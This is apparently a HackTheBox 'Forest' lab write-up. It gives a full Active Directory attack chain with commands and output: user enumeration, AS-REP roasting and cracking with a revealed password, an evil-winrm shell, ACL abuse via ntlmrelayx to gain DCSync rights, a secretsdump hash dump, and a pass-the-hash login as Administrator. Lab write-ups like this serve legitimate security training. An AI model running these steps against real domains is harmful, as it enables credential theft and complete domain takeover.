[HackTheBox] Forest


I started off with an Nmap scan on the target.

# Nmap 7.80 scan initiated Wed Mar 11 03:56:07 2020 as: nmap -sSV -A -T4 -p- -oA forest
Nmap scan report for
Host is up (0.0099s latency).
Not shown: 65511 closed ports
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-11 08:03:10Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49703/tcp open  msrpc        Microsoft Windows RPC
49904/tcp open  msrpc        Microsoft Windows RPC

We can observe that the host is Windows Server with Active Directory services running. With this in mind, I ran enum4linux to see if there were any other information I could extract from the host.

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Mar 11 03:57:30 2020

|    Target Information    |
Target ...........
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

... snip ...

|    Users on    |
index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA	Name: (null)	Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00020010 Account: Administrator	Name: Administrator	Desc: Built-in account for administering the computer/domain
index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy	Name: Andy Hislip	Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount	Name: (null)	Desc: A user account managed by the system.
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1	Name: HealthMailbox-EXCH01-010	Desc: (null)
index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e	Name: HealthMailbox-EXCH01-003	Desc: (null)
index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678	Name: HealthMailbox-EXCH01-005	Desc: (null)
index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e	Name: HealthMailbox-EXCH01-009	Desc: (null)
index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781	Name: HealthMailbox-EXCH01-006	Desc: (null)
index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d	Name: HealthMailbox-EXCH01-004	Desc: (null)
index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64	Name: HealthMailbox-EXCH01-008	Desc: (null)
index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9	Name: HealthMailbox-EXCH01-002	Desc: (null)
index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722	Name: HealthMailbox-EXCH01-Mailbox-Database-1118319013	Desc: (null)
index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad	Name: HealthMailbox-EXCH01-001	Desc: (null)
index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238	Name: HealthMailbox-EXCH01-007	Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00020011 Account: krbtgt	Name: (null)	Desc: Key Distribution Center Service Account
index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda	Name: Lucinda Berger	Desc: (null)
index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark	Name: Mark Brandt	Desc: (null)
index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi	Name: Santi Rodriguez	Desc: (null)
index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien	Name: Sebastien Caron	Desc: (null)
index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb	Name: Microsoft Exchange Migration	Desc: (null)
index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb	Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}	Desc: (null)
index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb	Name: Microsoft Exchange Approval Assistant	Desc: (null)
index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18	Name: Discovery Search Mailbox	Desc: (null)
index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a	Name: Microsoft Exchange	Desc: (null)
index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb	Name: E4E Encryption Store - Active	Desc: (null)
index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549	Name: Microsoft Exchange Federation Mailbox	Desc: (null)
index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b	Name: Microsoft Exchange	Desc: (null)
index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b	Name: Microsoft Exchange	Desc: (null)
index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco	Name: svc-alfresco	Desc: (null)

Exploitation (User)

After obtaining the user accounts, I attempted to make use of some of impacket’s libraries. In particular, I used the GetNPUsers.py script to try retrieve hashes from the server.

[email protected]:~/HackTheBox/Forest$ /usr/share/doc/python3-impacket/examples/GetNPUsers.py htb.local/ -usersfile users.txt 
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:86027a255207288de60280caa59bf2e2$46b53f32d8e8a2e25c4370114b83af9a896f9ca9ffe6ded7f5415db42b861dc343c873436fbeba7eb3dc5a0fd1c10b6e499354a33f715637519593367234af33d121c9eb60f1cf674ac1a736b20bdfffa7d10008c5072845b1ab72c9e55a6c7075ad8e9cd533c550842d23fb03c48a70840f22c5238badd8660e109d516bd6003eba78c250b5e4a55411b12e7af50f53aa1ee7c112ab9f904137978933a0c913b977bcffe6e7f5121bc14de7213c87898166d5fea2be96cd78367e02e408deaedf3d117d6bcd8b5468b06786e288768425bf29821992403c75e1c469c9dc562e5edd8e995a46
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

With a hash obtained, I used johntheripper to crack it.

[email protected]:~/HackTheBox/Forest$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt 
[sudo] password for kali: 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ([email protected])
1g 0:00:00:03 DONE (2020-03-11 04:19) 0.2710g/s 1107Kp/s 1107Kc/s 1107KC/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

With the password obtained, I verified the password by using it with it to login via smbclient.

[email protected]:~/HackTheBox/Forest$ smbclient -L \\\\ -U svc-alfresco
Enter WORKGROUP\svc-alfresco's password: 

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share 
    SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

I used a tool that I discovered on HackTheBox known as evil-winrm to obtain a command prompt on the system. I navigated to the user directory and retrieved the first flag.

[email protected]:~/HackTheBox/tools/evil-winrm$ bundle exec evil-winrm.rb -i -u 'svc-alfresco' -p 's3rvice'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ..
*Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> dir

    Directory: C:\Users\svc-alfresco\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        9/23/2019   2:16 PM             32 user.txt

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt

Exploitation (Root)

Using the name of the machine (Forest), I began enumerating the domain groups and users to see where I had to go next. To do this, I utilized a tool known as BloodHound which utilizes graph theory to help discover the best path of attack.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> .\SharpHound.exe
Initializing SharpHound at 2:28 AM on 3/11/2020

Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain HTB.LOCAL using path CN=Schema,CN=Configuration,DC=HTB,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache

[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 21 MB RAM
Status: 124 objects finished (+124 62)/s -- Using 28 MB RAM
Enumeration finished in 00:00:02.1328432
Compressing data to .\20200311022835_BloodHound.zip
You can upload this file directly to the UI

SharpHound Enumeration Completed at 2:28 AM on 3/11/2020! Happy Graphing!

The following graph was generated which clearly showed my next path of attack.

Path to Domain Admin

The graph shows that we are:

  • Members of “Privileged IT Accounts” which are members of the “Account Operators” group.
  • This group can access “Exchange Windows Permissions” which has WriteDACL permissions over the HTB.LOCAL domain.

There were multiple ways to proceed from here but I followed this article which uses ntlmrelayx.py from the impacket library. I had to create a new user and add it to “Exchange Windows Permissions” and “Exchange Trusted Subsystem”.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" baegmon /add /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Trusted Subsystem" baegmon /add /domain
[email protected]:~/HackTheBox/Forest$ /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -t ldap:// --escalate-user baegmon

[*] Protocol Client SMB loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server


Then I browsed to my ip and authenticated using my generated domain credentials.
Note. This method was really glitchy and I had to perform it several times to get it working. However; the aclpwn method which uses the BloodHound generated files worked in a single attempt and it is now the method I will default to for these type of attacks.

[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User baegmon now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)

With this confirmation, I followed the instructions and dumped the hashes.

[email protected]:~/HackTheBox/tools/privexchange$ sudo impacket-secretsdump -dc-ip htb/[email protected] -just-dc-ntlm

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Cleaning up... 

As seen in the graph, we only need the Administrators hash. I used crackmapexec to verify this hash.

[email protected]:~/HackTheBox/Forest$ crackmapexec smb htb.local -u Administrator -H aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
SMB    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:HTB) (signing:True) (SMBv1:True)
SMB    445    FOREST           [+] HTB\Administrator aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)

Final thing left to do was perform a pass-the-hash attack and retrieve the root flag! (By intentionally using different tools to refresh myself on the existence and usage of these tools!)

[email protected]:~/HackTheBox/Forest$ pth-winexe -U htb/Administrator%aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 //htb.local cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Windows\system32>cd C:/Users/Administrator/Desktop
cd C:/Users/Administrator/Desktop

C:\Users\Administrator\Desktop>type root.txt
type root.txt

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